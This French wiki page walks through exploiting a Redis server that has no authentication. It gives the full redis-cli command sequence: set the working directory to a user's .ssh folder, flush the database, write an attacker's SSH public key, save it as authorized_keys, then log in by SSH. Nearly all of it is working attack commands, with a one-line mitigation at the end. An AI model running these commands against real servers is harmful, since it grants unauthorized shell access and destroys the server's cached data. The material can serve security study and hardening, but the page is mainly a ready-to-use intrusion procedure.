Outils pour utilisateurs

Outils du site


web:redis_-_aucune_authentification

Exploitation de Redis

1.Presentation

Redis est un système de cache performant fonctionnant sur les serveurs. Son port par défaut est le 6379.

Ici nous présenterons comment détecter un serveur redis sans authentification et comment l'exploiter pour obtenir un shell.

2.Exploitation

2.1 Etape 1 : Tester si le serveur redis utilise une authentification

 telnet 192.168.43.7 

Nous remarquons que nous pouvons executer des commandes sur le serveur redis.

Nous recupérons des infos comme l'os du système avec sa version de noyau.

2.1 Etape 2 : Trouver un repertoire user valide

Nous utilisons le client redis pour se connecter sur la machine

redis-cli -h 192.168.43.7 

Il faut faire un script qui va essayer une liste d'username jusqu'à trouver un dossier existant.

Dans notre cas l'utilisateur user existe.

2.1 Etape 3 : Création d'une clé ssh

Le but de l'étape est de créer une paire de clé ssh pour remplacer celle de l'utilisateur sur le serveur.

ssh-keygen -t rsa -C "user@192.168.43.7"

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in attacker.
Your public key has been saved in attacker.pub.
The key fingerprint is:
f1:09:f3:e2:19:75:a1:60:a9:8e:39:df:4a:39:00:8f user@192.168.43.7
The key's randomart image is:
+---[RSA 2048]----+
|        o.  .    |
|       ... . .   |
|  .    .+ o .    |
|   +  .  B o     |
|  E o+  S +      |
|    +..o +       |
|     o+.o        |
|     ....        |
|      ..         |
+-----------------+

Nous avons maintenant notre clé publique attacker.pub et la privé attacker.

Il faut préparer la clé pour que l'on puisse la remplacer ensuite :

(echo -e "\n\n"; cat attacker.pub; echo -e "\n\n") > foo.txt

2.1 Etape 4 : Remplacement de la clé ssh sur le serveur

On se positionne dans le dossier .ssh de l'utilisateur :

 redis-cli -h 192.168.43.7 config set dir "/home/user/.ssh" 

On supprime les anciennes clé de la bdd :

redis-cli -h 192.168.43.7 flushall  

On envoie notre nouvelle clé sur le serveur :

cat foo.txt | redis-cli -h 192.168.43.7 -x set sshblob 

On définit le nouveau fichier de clé :

 redis-cli -h 192.168.43.7 config set dbfilename authorized_keys 

On sauvegarde :

 redis-cli -h 192.168.43.7 save 

2.1 Etape 5 : Connexion sur le serveur à l'aide de notre clé privé

 ssh -i attacker -l user 192.168.43.7 

3.Comment se protéger

Ajouter une authentification forte sur votre serveur redis.

Source : http://antirez.com/news/96

web/redis_-_aucune_authentification.txt · Dernière modification: 2016/07/27 12:03 par arkinar